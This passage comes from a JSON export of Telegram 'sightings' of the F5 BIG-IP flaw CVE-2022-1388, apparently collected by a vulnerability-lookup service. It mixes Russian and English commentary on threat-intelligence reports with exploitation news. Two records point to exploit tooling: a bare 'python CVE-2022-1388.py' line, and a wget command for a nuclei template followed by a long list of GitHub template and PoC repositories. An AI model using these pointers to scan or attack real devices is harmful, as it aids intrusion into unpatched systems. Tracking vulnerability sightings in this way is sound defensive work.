\u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 15 \u043c\u0438\u043d\u0443\u0442 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 CVE. \u041f\u0440\u044f\u043c \u0432\u043e\u0442 \u0442\u0430\u043a:\n\n\"The 2022 Attack Surface Management Threat Report found that attackers typically start scanning for vulnerabilities within 15 minutes of a CVE being announced\".\n\n\u041a\u0430\u043a \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u044d\u0442\u0438 15 \u043c\u0438\u043d\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u0440\u043e\u0434\u0435 \u043d\u0438\u0433\u0434\u0435 \u043d\u0435 \u043f\u0438\u0448\u0443\u0442. \u041d\u043e \u0432\u0438\u0434\u0438\u043c\u043e \u043c\u043e\u0433\u043b\u0438 \u0437\u0430\u0441\u0435\u043a\u0430\u0442\u044c \u043d\u0430 \u0445\u0430\u043d\u0438\u043f\u043e\u0442\u0430\u0445/ids \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u0442\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u044d\u0442\u043e \u0441 \u0434\u0430\u0442\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u0447\u0435\u0440\u0435\u0437 5 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0443 \u0438 \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432 \u043d\u0430\u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0438 \u0434\u0432\u0435 \u0441 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u043e\u0439 \u0442\u044b\u0441\u044f\u0447\u0438 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \n\n\"For example, Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (CVE-2022-1388), and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts\".\n\n\u041a\u0440\u0443\u0442\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u043e \u0432\u0441\u0435-\u0442\u0430\u043a\u0438 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0443 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u0441\u0440\u0430\u0437\u0443, \u0442\u0430\u043a \u0447\u0442\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043a\u043e\u0433\u0434\u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u0448\u043b\u0438 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0435 \u0441\u043a\u0430\u043d\u044b \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0432\u0430\u0442\u043e. \n\n\u041d\u043e \u043d\u0435 \u0441\u0443\u0442\u044c. \u041d\u0435 \u0442\u0430\u043a \u0432\u0430\u0436\u043d\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u0438 \u0447\u0435\u0440\u0435\u0437 15 \u043c\u0438\u043d\u0443\u0442 \u0441\u043a\u0430\u043d\u044b \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0436\u0435. \u0424\u0430\u043a\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u044b \u043d\u043e\u0432\u043e\u0441\u0442\u043d\u043e\u0439 \u043f\u043e\u0442\u043e\u043a \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445. \u0418 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0441\u043a\u0430\u043d\u0438\u0442\u044c \u0432\u0430\u0448 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440 \u0447\u0430\u0449\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u0432\u0430\u0448\u0435\u043c \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u043e\u043c \u0441\u043a\u0430\u043d\u0435\u0440\u0435. \n\n\u0418 \u0447\u0442\u043e\u0431\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430\u043c \u043d\u0435 \u0438\u0433\u0440\u0430\u0442\u044c \u0441\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0434\u043e\u0433\u043e\u043d\u044f\u043b\u043a\u0438 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u044d\u0442\u043e \u0437\u043d\u0430\u0442\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u043b\u0443\u0447\u0448\u0435, \u0447\u0435\u043c \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u041f\u043e\u043d\u0438\u043c\u0430\u0442\u044c \u0437\u0430\u0447\u0435\u043c \u0442\u043e\u0442 \u0438\u043b\u0438 \u0438\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0430 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435 \u043d\u0443\u0436\u0435\u043d. \u041f\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u0440\u0430\u0442\u044c\u0441\u044f  \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e. \u0415\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435, \u0442\u043e \u0438\u043c\u0435\u0442\u044c \u0432 \u0432\u0438\u0434\u0443, \u0447\u0442\u043e \u0438\u0445 \u0431\u0443\u0434\u0443\u0442 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u0438 \u043b\u043e\u043c\u0430\u0442\u044c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0449\u0451 \u0434\u043e \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0434\u0435\u0442\u0435\u043a\u0442\u044b \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u0432 \u0441\u043a\u0430\u043d\u0435\u0440\u0430\u0445 \u0438 \u0442\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u0434\u043e \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0447\u043d\u0443\u0442 \u0432\u0435\u0440\u0435\u0449\u0430\u0442\u044c \u0432 \u0421\u041c\u0418. \n\n\u0421\u043a\u0430\u0437\u0430\u0442\u044c-\u0442\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u043f\u0440\u043e\u0449\u0435, \u0447\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c. \n\n@avleonovrus #VMnews #PaloAlto #F5", "creation_timestamp": "2023-10-21T12:53:45.000000Z"}, {"uuid": "5bffb0a4-74b5-40f1-baae-d017e1356ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/package_security/17", "content": "\u200b\ud83c\udfc6 \u0418\u0442\u043e\u0433\u0438 \u0433\u043e\u0434\u0430\n\n\u041d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u043e \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u0435.\n2\u043a22 \u0433\u043e\u0434 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u043a \u043a\u043e\u043d\u0446\u0443, \u0430 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043f\u043e\u0440\u0430 \u043f\u043e\u0434\u0432\u043e\u0434\u0438\u0442\u044c \u0438\u0442\u043e\u0433\u0438.\n\n\u0423 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u043e\u0432, \u043a\u0430\u043a \u0438 \u0432\u0441\u0435\u0433\u0434\u0430, \u0438\u0442\u043e\u0433\u0438 \u0441\u0432\u043e\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u0435\u0440\u0436\u0438\u0442\u0435 \u0422\u041e\u041f-10 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 2022 \u0433\u043e\u0434\u0443 \u043f\u043e \u0432\u0435\u0440\u0441\u0438\u0438 Cyber Threat Intelligence:\n\n1. Follina (CVE-2022-30190) \n\n2. Log4Shell (CVE-2021-44228) \n\n3. Spring4Shell (CVE-2022-22965) \n\n4. F5 BIG-IP (CVE-2022-1388) \n\n5. Google Chrome zero-day (CVE-2022-0609) \n\n6. Old but not forgotten - Microsoft Office bug (CVE-2017-11882) \n\n7. ProxyNotShell (CVE-2022-41082, CVE-2022-41040) \n\n8. Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352) \n\n9. Atlassian Confluence RCE flaw (CVE-2022-26134) \n\n10. Zyxel RCE vulnerability (CVE-2022-30525)\n\n\u0411\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b, \u0431\u0435\u0440\u0435\u0433\u0438\u0442\u0435 \u0441\u0435\u0431\u044f \u0438 \u0432\u0430\u0448\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u044b.\nP.S. \u041d\u0438\u0436\u0435 \u0435\u0441\u0442\u044c \u043f\u0438\u043a\u0447\u0430 \u0441 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u044b\u043c\u0438 \u0438\u043a\u043e\u043d\u043a\u0430\u043c\u0438\n\n#\u041f\u043e\u043b\u0435\u0437\u043d\u043e\u0435\n\n\u041f\u0430\u043a\u0435\u0442 \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438", "creation_timestamp": "2022-12-16T15:56:36.000000Z"}, {"uuid": "b7d04c4f-76bd-437e-b3ac-df49e114065a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/kasperskyb2b/786", "content": "\u2705 \u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0442\u0447\u0451\u0442 CISA \u0438 \u0438\u0445 \u0430\u043d\u0433\u043b\u043e\u044f\u0437\u044b\u0447\u043d\u044b\u0445 \u0441\u043e\u044e\u0437\u043d\u0438\u043a\u043e\u0432\n\n\u0412 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0433\u043e\u0434\u0430 \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432, \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0442 2022 \u0433\u043e\u0434, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u2014 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 12 \u043c\u0435\u0441\u044f\u0446\u0435\u0432, \u043d\u043e \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u043d\u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u0443\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u044b. \u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043e\u0442\u0447\u0451\u0442\u0430 \u00ab\u043f\u044f\u0442\u0438\u0433\u043b\u0430\u0437\u044b\u0445\u00bb, \u043f\u043e\u0441\u0432\u044f\u0449\u0451\u043d\u043d\u043e\u0433\u043e \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \n\n\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043d\u0435 \u043d\u043e\u0432 \u2014 \u0441\u0430\u043c\u044b\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f 0day \u0438\u043b\u0438 1day. \u042d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0433\u043e\u0434 \u0438\u043b\u0438 \u0434\u0432\u0430, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 PoC \u043d\u0430 Github, \u0434\u0430\u0432\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0430\u0442\u0447\u0430\u043c\u0438, \u043d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043d\u0435 \u043b\u0438\u043a\u0432\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u0441\u0438\u0441\u0430\u0434\u043c\u0438\u043d\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.  \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0442\u0440\u0443\u0434\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0438\u043c\u0435\u044e\u0449\u0438\u0445 \u0432\u0441\u0435\u043c\u0438\u0440\u043d\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u0441\u0435\u0445 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f\u0445.\n\n\u0422\u043e\u043f-12 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2018-13379 \u0432 Fortinet SSL VPN, \u0442\u0440\u0438 CVE 2021 \u0433\u043e\u0434\u0430, \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 ProxyShell, CVE-2021-40539 \u0432 Zoho ManageEngine, CVE-2021-26084 \u0438 -26134 \u0432 Confluence, CVE-2021-44228 Log4Shell, CVE-2022-22954 \u0438 -22960 \u0432 VMWare, CVE-2022-1388 \u0432 F5 BIG-IP,  CVE-2022-30190 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Windows, MSDT.\n\n\u0415\u0449\u0451 \u0442\u0440\u0438 \u0434\u0435\u0441\u044f\u0442\u043a\u0430 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u2014 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043e\u0442\u0447\u0451\u0442\u0435 (\u0430\u043d\u0433\u043b). \u0422\u0430\u043c \u0436\u0435 \u0434\u0430\u043d\u044b \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043f\u043e \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u044b:\n\n\ud83d\udd18\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439\n\ud83d\udd18\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439\n\ud83d\udd18\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0441\u0435\u0442\u0438\n\ud83d\udd18\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #\u0441\u043e\u0432\u0435\u0442\u044b @\u041f2\u0422", "creation_timestamp": "2023-08-07T10:20:52.000000Z"}, {"uuid": "f83f1a8b-34a7-4a6c-90b6-93b008880288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/ctinow/51807", "content": "CISA adds CVE-2022-1388 flaw in F5 BIG-IP to its Known Exploited Vulnerabilities Catalog\n\nhttps://ift.tt/ztZTs9C", "creation_timestamp": "2022-05-11T23:51:37.000000Z"}, {"uuid": "bb13e732-ece5-4d49-a1a7-027157c96795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/ctinow/51633", "content": "Threat actors are actively exploiting CVE-2022-1388 RCE in F5 BIG-IP\n\nhttps://ift.tt/elor4Jw", "creation_timestamp": "2022-05-10T08:51:47.000000Z"}, {"uuid": "20618416-b23e-4725-89a7-f58c7e9b68fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/ctinow/51553", "content": "Experts developed exploits for CVE-2022-1388 RCE in F5 BIG-IP products\n\nhttps://ift.tt/qIpiVJc", "creation_timestamp": "2022-05-09T11:26:21.000000Z"}, {"uuid": "3454d9ca-fe4f-44c5-bf6a-cd4af8472b99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/bfty_pqfqcPbz91gEtAMgSGk978oZn33tjSdCgHLZMU6wcc", "content": "", "creation_timestamp": "2023-01-18T19:01:11.000000Z"}, {"uuid": "ae818478-860a-49ff-b387-ce9467cb8e42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "Telegram/Al5s1pu9DlCNMnH7rJt2q5NFKP_tt6i0TJLpRuR3HfdnDhA", "content": "", "creation_timestamp": "2022-12-05T04:24:48.000000Z"}, {"uuid": "3d30eb5e-1d13-4a56-8286-a9ef67532756", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/wa8ZW6LlH2CSReRVP7_r4oS2w-UuM2LGYmNQxJpE8RqzeIE", "content": "", "creation_timestamp": "2024-04-02T20:37:29.000000Z"}, {"uuid": "c6ca1d82-0efd-4784-8903-71a72d8c58fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/openSource3/252", "content": "CVE ID : CVE-2022-1388\nSystem : BIG-IP \nType : Broken access control\n\nExploit \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 :\n \n\npython CVE-2022-1388.py", "creation_timestamp": "2024-08-01T09:30:49.000000Z"}, {"uuid": "8974c0ea-72a4-4ae6-a867-2f1b32ba7a41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/AGENTZSECURITY/1244", "content": "wget https://raw.githubusercontent.com/SecTheBit/CVE-2022-1388/main/bigip.yaml\nhttps://github.com/rafaelwdornelas/my-nuclei-templates\nhttps://github.com/Akokonunes/Private-Nuclei-Templates\nhttps://github.com/trungkay2/Nuclei-template\nhttps://github.com/Kaue-Navarro/Templates-kaue-nuclei\nhttps://github.com/1dayluo/My-Nuclei-Templates\nhttps://github.com/topscoder/nuclei-wordfence-cve\nhttps://github.com/drfabiocastro/certwatcher-templates\nhttps://github.com/erickfernandox/nuclei-templates\nhttps://github.com/damon-sec/Nuclei-templates-Collection\nhttps://github.com/ptyspawnbinbash/template-enhancer\nhttps://github.com/abbycantcode/Nuclei-Template\nhttps://github.com/ayadim/Nuclei-bug-hunter\nhttps://github.com/pacho15/mynuclei_templates\nhttps://github.com/soumya123raj/Nuclei\nhttps://github.com/soapffz/myown-nuclei-poc\nhttps://github.com/zer0yu/Open-PoC\nhttps://github.com/SumedhDawadi/Custom-Nuclei-Template\nhttps://github.com/coldrainh/nuclei-ByMyself\nhttps://github.com/binod235/nuclei-templates-and-reports\nhttps://github.com/mbskter/Masscan2Httpx2Nuclei-Xray\nhttps://github.com/luck-ying/Library-YAML-POC\nhttps://github.com/PedroFerreira97/nuclei_templates\nhttps://github.com/Odayex/Random-Nuclei-Templates\nhttps://github.com/Hunt2behunter/nuclei-templates\nhttps://github.com/mastersir-lab/nuclei-yaml-poc\nhttps://github.com/SirAppSec/nuclei-template-generator-log4j\nhttps://github.com/souzomain/mytemplates\nhttps://github.com/ricardomaia/nuclei-template-generator-for-wordpress-plugins\nhttps://github.com/0xPugazh/my-nuclei-templates\nhttps://github.com/UltimateSec/ultimaste-nuclei-templates\nhttps://github.com/h0tak88r/nuclei_templates\n# https://github.com/0XParthJ/Nuclei-Templates\n# 